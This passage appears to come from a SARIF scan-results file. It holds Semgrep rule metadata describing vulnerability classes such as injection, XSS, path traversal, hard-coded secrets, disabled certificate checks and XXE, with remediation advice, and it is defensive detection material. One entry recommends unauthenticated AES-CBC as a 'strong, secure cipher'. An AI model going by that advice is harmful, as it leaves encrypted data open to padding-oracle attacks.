loading"},"helpUri":"https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","id":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","name":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","properties":{"precision":"very-high","tags":["MEDIUM CONFIDENCE"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"help":{"markdown":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx)\n - [https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities](https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities)\n - [https://x.com/shoucccc/status/1757777764646859121](https://x.com/shoucccc/status/1757777764646859121)\n","text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"helpUri":"https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","id":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","name":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","OWASP-A7:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"help":{"markdown":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html)\n","text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","id":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","name":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call","id":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","name":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password","id":"rust.secrets.postgres.empty-password.empty-password","name":"rust.secrets.postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint","id":"rust.actix.sql.sqlx-taint.sqlx-taint","name":"rust.actix.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse)\n - [https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render](https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render)\n - [https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render)\n","text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","id":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","name":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"help":{"markdown":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","id":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","name":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version)\n","text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","id":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","name":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources](https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation","id":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","name":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.path-manipulation.path-manipulation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","id":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","name":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","id":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","name":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-environ-variable-django.tainted-environ-variable-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"help":{"markdown":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager)\n - [https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https](https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https)\n","text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","id":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","name":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","id":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","name":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","id":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","name":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","id":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","name":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli)\n - [https://github.com/brianmario/mysql2](https://github.com/brianmario/mysql2)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","id":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","name":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","id":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","name":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","id":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","name":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with 